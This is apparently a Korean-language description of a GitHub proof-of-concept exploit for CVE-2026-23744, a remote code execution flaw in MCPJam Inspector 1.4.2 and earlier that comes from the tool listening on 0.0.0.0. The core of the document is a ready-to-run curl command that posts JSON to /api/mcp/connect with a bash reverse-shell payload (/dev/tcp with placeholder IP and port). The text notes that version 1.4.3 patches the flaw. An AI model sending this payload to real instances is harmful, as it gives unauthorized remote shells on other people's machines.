mrr0b0t19/cve-2026-23744-pocCVE-2026-23744에 대한 개념 증명 익스플로잇, MCPJam Inspector의 원격 코드 실행 취약점입니다. 리버스 셸 페이로드를 포함한 조작된 HTTP 요청을 /api/mcp/connect 엔드포인트에 전송하여 RCE를 시연합니다.
MCP Server의 취약점에 대한 PoC.
올바른 본문으로 POST 부분을 자동화했습니다.
/api/mcp/connect
curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/TUIP/TUPUERTO 0>&1"],"env":{}},"serverId":"pruebaxd"}'
MCPJam Inspector는 MCP 서버를 위한 최초의 로컬 개발 플랫폼입니다. 버전 1.4.2 및 이전 버전은 원격 코드 실행(RCE) 취약점에 영향을 받으며, 공격자가 특수하게 조작된 HTTP 요청을 보내 MCP 서버 설치를 트리거하여 RCE를 유발할 수 있습니다. MCPJam Inspector는 기본적으로 127.0.0.1 대신 0.0.0.0에서 수신 대기하므로, 공격자는 간단한 HTTP 요청을 통해 원격으로 RCE를 활성화할 수 있습니다. 버전 1.4.3에는 패치가 포함되어 있습니다.